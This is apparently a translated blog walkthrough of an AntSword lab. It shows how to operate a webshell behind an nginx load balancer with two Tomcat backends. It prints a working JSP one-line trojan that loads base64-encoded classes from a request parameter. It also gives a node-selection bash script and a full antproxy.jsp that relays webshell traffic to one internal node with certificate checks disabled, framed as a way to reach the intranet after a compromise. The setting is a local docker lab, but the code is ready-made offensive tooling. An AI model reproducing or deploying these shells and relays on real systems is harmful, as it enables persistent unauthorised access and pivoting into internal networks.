Nginx reverse proxy implements load balancing webshell

Table of contents

The environment used in this experiment:

Question 1: Since the reverse proxy used by nginx is a polling method, the uploaded file must be uploaded to the same location on the two back-end servers.

Question 2: When we execute the command, we have no way of knowing which machine the next request will be handed over to for execution. When we execute hostname -i to view the IP of the current execution machine, we can see that the IP address has been drifting.

Problem 3: When we need to upload some larger tools, the tools will become unusable.

Question 4: Since the target host cannot go outside the Internet, if you want to go deeper, you can only use HTTP Tunnel such as reGeorg/HTTPAbs. However, in this scenario, all these tunnel scripts fail.

Some solutions:

Option 1: Shut down one of the backend servers

Option 2: Determine whether to execute the program before executing it

Option 3: Forward HTTP traffic in the Web layer (key point)


The environment used in this experiment:

Link: https://pan.baidu.com/s/17WBxMs3_uIx9pFapwtgK5A?pwd=8848 
Extraction code: 8848

For details on the operation of Nginx reverse proxy to achieve load balancing, please see:Nginx reverse proxy to achieve load balancing + Keepalive to achieve high availability - CSDN Blog

This experiment is introduced below

First, go to the environment directory where the vulnerability is located.

/root/AntSword-Labs-master/loadbalance/loadbalance-jsp

Pull environment:

docker-compose up -d

You can see that the container is running

Then you can try to visit this page

 As can be seen from the above picture, although http404 is displayed, it means that the back-end tomcat is accessible.

Then we can check the backend reverse proxy server:
You can enter any of the two servers

docker exec -it  dbeefec34893 /bin/bash
root@dbeefec34893:/usr/local/tomcat# 

View webapps/ROOT/ant.jsp

cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

You can see that here is a one-sentence Trojan that has been uploaded, and the password is 'ant'.

But it should be noted that port 8080 has not been developed, so we can only access it through nginx

We can check the nginx file:

cat nginx/default.conf 
upstream lbspool {
  server lbsnode1:8080;
  server lbsnode2:8080;
}

server {
    listen       80 default_server;
    server_name  _;
    charset utf-8;
    root   /usr/share/nginx/html;
    index index.jsp index.html index.htm;
    location / {
        proxy_pass http://lbspool;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

You can see that load balancing is configured here.

Then we can try to use Ant Sword to connect.

 

After the connection is successful, we can view all files

Now we have successfully connected to the webshell

But there are still some problems here:

Question 1: Since the reverse proxy used by nginx is a polling method, the uploaded file must be uploaded to the same location on the two back-end servers.

Because we are a reverse proxy load balancing, when uploading files, one back-end server has the file we uploaded, but the other server does not have the file we uploaded. The result is that once there is no file on one server, Then when the request comes to this server, a 404 error will be reported, which will affect the use. This is the reason why it will be normal for a while and an error will occur for a while.

Let’s just say that both load balancing devices need to have the ant.jsp file. If only one device has it and one device does not, there will be one success and one failure.

solution:

We need to upload a WebShell with the same content at the same location on each node, so that no matter which server is polled Our backend server can be accessed from anywhere.

Note: To achieve uploaded files on every back-end server, you need to upload them like crazy.

Question 2: When we execute the command, we cannot know which machine the next request will be sent to for executionWhen we execute hostname -i to check the IP of the current execution machine, You can see that the IP address keeps drifting

Because the polling method is used here, if the weight method is used, it will be even more erratic.

You can do the following test to verify that our command is erratic:

We can enter a certain container:

Check ip add and you will find that there is no such function

(1) We can update this apt

 apt-get update

(2) Install net-tools

apt-get install net-tools

 Then we can try to use ipconfig in the terminal of Ant Sword

There will be a situation because we only installed it on one server and not on the other one.

Problem 3: When we need to upload some larger tools, the tools will become unusable.

When we upload a larger file, AntSword uses a fragmented upload method when uploading the file. It divides a file into multiple HTTP requests and sends them to the target. As a result, part of the file is on server A, and the other part is on server A. Some files are on server B, making it impossible to open or use larger tools or files.

Here we use a relatively large picture as a large file to verify:

For example, the picture below is 2.14MB in size and is used for testing.

You can see that a 2MB picture here failed to be uploaded directly.

But if the image we upload just happens to be uploadable, Ant Sword's fragmented transmission may fragment the uploaded image into two servers. For example, if we upload such an image:

Let's try to delete this image now

After the deletion is complete, let’s try to refresh the file

It seems that it is gone, so refresh it again:

You will see that this deleted picture appears in another server.

You can delete it several times before you can actually delete the picture.

Question 4: Since the target host cannot go outside the Internet, if you want to go deeper, you can only use HTTP Tunnel such as reGeorg/HTTPAbs. However, in this scenario, all these tunnel scripts fail.

Here is a summary:Both the first and third problems can be solved with multiple clicks. For the third problem, we can only use small file tools without using large files. It can be avoided, but the problem of not being able to enter the intranet is fatal. Failure to solve it is equivalent to a failure of the attack

Some solutions:

Option 1: Shut down one of the backend servers

Because of the existence of the health check mechanism, other nodes will soon be kicked out of the nginx pool!

Shutting down one of the back-end servers can indeed solve the four problems mentioned above, but this solution is really like "hanging yourself --- getting tired of living", which will affect your business and cause disasters. Direct Pass will not be considered.

Comprehensive evaluation: Do not try it in a real environment! ! !

Option 2: Determine whether to execute the program before executing it

Since it is impossible to predict which machine will execute it next time, before our shell executes the payload, it can first determine whether it should be executed.

For the first time, create a script demo.sh. This script is to obtain the address of one of our back-end servers. The program will be executed only if it matches the address of this server. If it matches the address of another server, the program will not be executed.

Because there is no vim, install vim here again.

apt install vim

Script

vim demo.sh

Script content:

#!bin/bash
MYIP=`ifconfig | grep 'inet 172' | awk '{print $2}'`
echo $MYIP
if [$MYIP =="172.22.0.2" ];then
        echo "Node1,i will exec command.\n============\n"
        ifconfig
else    
        echo "Other. Try again."
fi

Authorize

chmod +x demo.sh

Upload this script to both servers:

[root@centos111 loadbalance-jsp]# docker cp demo.sh dbeefec34893:/tmp
Successfully copied 2.05kB to dbeefec34893:/tmp
[root@centos111 loadbalance-jsp]# docker cp demo.sh b13fa1312a15:/tmp
Successfully copied 2.05kB to b13fa1312a15:/tmp

implement

To facilitate testing, we also install the ipconfig tool on another container:

You can see that we can only execute it at 172.22.0.2, and other attempts will be reported as Other Try again.

This manually allows us to use only one of the servers to execute the command.

Note: Upload the demo.sh script file to the two back-end servers through China Ant Sword. Because it is load balancing, you need to click to upload like crazy. You can also create a new file on Ant Sword and write the script, and click save multiple times. The purpose Is it possible for both servers to successfully save to the script?

In this way, we can indeed ensure that the executed command is on the machine we want. However, there is no beauty in executing the command in this way. In addition, problems such as large file upload and HTTP tunneling have not been solved.

Comprehensive evaluation: This solution is barely usable, only suitable for use when executing commands, and is not elegant enough.

Option 3: Forward HTTP traffic in the Web layer (key point)

Yes, we cannot directly access the 8080 port of the LBSNode1 intranet IP (172.23.0.2) using AntSword, but someone can access it. In addition to nginx, the LBSNode2 machine can also access the 8080 port of the Node1 machine. of.

Do you still remember the "PHP Bypass Disable Function" plug-in? After loading so in this plug-in, we started an httpserver locally, and then we used the HTTP-level traffic forwarding script "antproxy.php", let’s look at it in this scenario:

Let’s look at this picture step by step. Our purpose is:All data packets can be sent to the machine "LBSNode 1"

The first is step 1, we request /antproxy.jsp, this request is sent to nginx

After nginx receives the data packet, there will be two situations:

Let’s look at the black line first. In step 2, the request is passed to the target machine, and /antproxy.jsp on the Node1 machine is requested. , then in step 3, /antproxy.jsp reorganizes the request and passes it to /ant.jsp on the Node1 machine, which is successfully executed.

Look at the red line again, step 2 passes the request to the Node2 machine, then step 3, /antproxy.jsp on Node2 machine reorganizes the request and passes it to /ant.jsp on Node1, which is successfully executed.

1. Create the antproxy.jsp script

Modify the forwarding address and redirect to the target node

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.22.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder(); #实例化对象
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024]; #缓冲区
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

In order to prevent file fragmentation, we create a new file in Ant Sword: 

 

This is only created on one server, but not on the other server. You need to create it several times to ensure that the file is available on both servers.

Then write the script content and save it several times

Note: You must ensure that the file size on the two servers is the same after refreshing. 

3. Modify the Shell configuration, fill in the URL part as the address of antproxy.jsp, and leave other configurations unchanged

4. Test the execution command and check the IP

You can see that the IP has been fixed, which means that the request has been fixed to the machine LBSNode1. At this time, using multipart upload and HTTP proxy is no different from the stand-alone situation.

Advantages of this program:

1. It can be completed with low permissions. If the permissions are high, it can also be forwarded directly through the port level, but this is no different from Plan A's off-site service.

2. In terms of traffic, only requests to access WebShell are affected, and other normal business requests will not be affected.

3. Adapt to more tools

shortcoming:

This solution requires intranet interoperability between the "target Node" and "other Node". If they are not interoperable, it will be useless.

At this point, the websehll problem of Nginx's load balancing has been solved, and the Nginx-related vulnerabilities are also temporarily over!

Guess you like

Origin blog.csdn.net/qq_68163788/article/details/134595832